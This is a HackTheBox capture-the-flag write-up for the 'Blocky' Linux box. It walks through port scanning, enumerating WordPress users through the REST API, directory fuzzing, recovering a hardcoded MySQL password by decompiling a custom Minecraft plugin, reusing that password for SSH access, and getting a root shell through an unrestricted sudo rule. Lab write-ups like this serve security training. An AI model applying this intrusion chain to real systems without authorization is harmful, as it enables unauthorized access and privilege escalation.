Skip to content

Blocky Writeup - HackTheBox

Mohammad Meraj

Independent Security Researcher

Blocky is a Linux box themed around a Minecraft server. The chain runs: an outdated WordPress install that leaks its only username through the REST API, a non-standard /plugins directory serving a custom Minecraft plugin, hardcoded database credentials recovered by decompiling that JAR, password reuse that turns them into SSH access, and a sudoers entry that grants the user everything.

Reconnaissance

Port scan

┌──(kali㉿kali)-[~]
└─$ rustscan -a $TARGET_IP
Open $TARGET_IP:21
Open $TARGET_IP:22
Open $TARGET_IP:80
Open $TARGET_IP:25565
Explain command
-a $TARGET_IP Address to sweep for open ports across the full range.
┌──(kali㉿kali)-[~]
└─$ nmap -sCV -T4 -p21,22,80,25565 $TARGET_IP -oA nmap/nmap
PORT      STATE SERVICE   VERSION
21/tcp    open  ftp?
22/tcp    open  ssh       OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http      Apache httpd 2.4.18
|_http-title: Did not follow redirect to http://blocky.htb
25565/tcp open  minecraft Minecraft 1.11.2 (Protocol: 127, Message: A Minecraft Server, Users: 0/20)
Service Info: Host: 127.0.1.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Explain command
-sCV Run the default script set and probe service versions.
-T4 Faster timing template, safe against a lab target.
-p21,22,80,25565 Limit the scan to the ports rustscan already found open.

FTP, SSH and Apache, plus a Minecraft server on 25565. That last one is the theme of the box and worth remembering, because anything Minecraft related on the web server is likely to matter. Apache redirects to the vhost blocky.htb, so that name goes in /etc/hosts before anything else.

$TARGET_IP  blocky.htb

Enumeration

Fingerprinting the site

┌──(kali㉿kali)-[~]
└─$ whatweb http://blocky.htb
http://blocky.htb [200 OK] Apache[2.4.18], MetaGenerator[WordPress 4.8],
PoweredBy[WordPress,WordPress,], Title[BlockyCraft - Under Construction!], WordPress[4.8]

WordPress 4.8 from 2017, running a BlockyCraft themed site. A CMS that old is worth a full scan before anything manual.

┌──(kali㉿kali)-[~]
└─$ wpscan --url http://blocky.htb --disable-tls-checks --no-update
[+] XML-RPC seems to be enabled: http://blocky.htb/xmlrpc.php
[+] Upload directory has listing enabled: http://blocky.htb/wp-content/uploads/
[+] WordPress version 4.8 identified (Insecure, released on 2017-06-08).
[+] WordPress theme in use: twentyseventeen
<snip>
[i] No plugins Found.
Explain command
--url http://blocky.htb Target site to scan.
--disable-tls-checks Skip certificate validation, which the lab host fails.
--no-update Skip the database update on start.

XML-RPC and directory listing are enabled and the install is flagged as insecure, but no plugin gives a direct exploit. The REST API is the cheaper source of information on this version.

Usernames from the REST API

┌──(kali㉿kali)-[~]
└─$ curl http://blocky.htb/index.php/wp-json/wp/v2/users
[{"id":1,"name":"Notch","url":"","description":"","slug":"notch"}]

The users endpoint answers without authentication and returns exactly one account, notch. That is a valid system username candidate as well as a WordPress login. Content discovery covers the rest of the site.

Content discovery

┌──(kali㉿kali)-[~]
└─$ ffuf -u http://blocky.htb/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt -e .php,.html,.cgi,.txt -mc 200,301,302,303,403 -fs 52227
wiki                    [Status: 301]
plugins                 [Status: 301]
phpmyadmin              [Status: 301]
Explain command
-e .php,.html,.cgi,.txt Also try these extensions on every wordlist entry.
-mc 200,301,302,303,403 Match responses that exist, redirect, or are forbidden.
-fs 52227 Filter out the default page size, which would otherwise flood the results.

/wiki and /phpmyadmin are ordinary extras, but /plugins is not part of a WordPress install and lines up with the Minecraft server from the port scan.

Vulnerability Discovery

Credentials inside a Minecraft plugin

The directory lists two downloadable JAR files. GriefPrevention is a known public plugin, but BlockyCore.jar is under a kilobyte and custom to this box, which makes it the one to read.

┌──(kali㉿kali)-[~]
└─$ wget http://blocky.htb/plugins/files/BlockyCore.jar
┌──(kali㉿kali)-[~]
└─$ wget http://blocky.htb/plugins/files/griefprevention-1.11.2-3.1.1.298.jar

Java bytecode decompiles back to near source, so opening the JAR in jd-gui is enough to read the class.

package com.myfirstplugin;

public class BlockyCore {
  public String sqlHost = "localhost";
  public String sqlUser = "root";
  public String sqlPass = "$SQL_ROOT_PASSWORD";

  public void onServerStart() {}
  public void onServerStop() {}

  public void onPlayerJoin() {
    sendMessage("TODO get username", "Welcome to the BlockyCraft!!!!!!!");
  }

  public void sendMessage(String username, String message) {}
}

The plugin ships the MySQL root password in its source. MySQL is not exposed to the network here, but the box already handed over a username, so the password is worth trying against SSH first.

Exploitation

Password reuse on SSH

┌──(kali㉿kali)-[~]
└─$ ssh notch@$TARGET_IP
notch@$TARGET_IP's password:
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-62-generic x86_64)
<snip>
notch@Blocky:~$ whoami
notch

The database password is also the account password. Foothold as notch without touching MySQL or WordPress at all.

Privilege Escalation

Sudo rights

notch@Blocky ~ $ sudo -l
Matching Defaults entries for notch on Blocky:
    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User notch may run the following commands on Blocky:
    (ALL : ALL) ALL
Explain command
-l List the sudo rules that apply to the current user.

(ALL : ALL) ALL means every command as every user, so there is nothing to bypass.

notch@Blocky ~ $ sudo /bin/bash -p
root@Blocky:~# whoami
root
root@Blocky:~# id
uid=0(root) gid=0(root) groups=0(root)
Explain command
-p Keep the effective privileges instead of resetting them for the new shell.

Root shell on the first try. User and root are both done.

References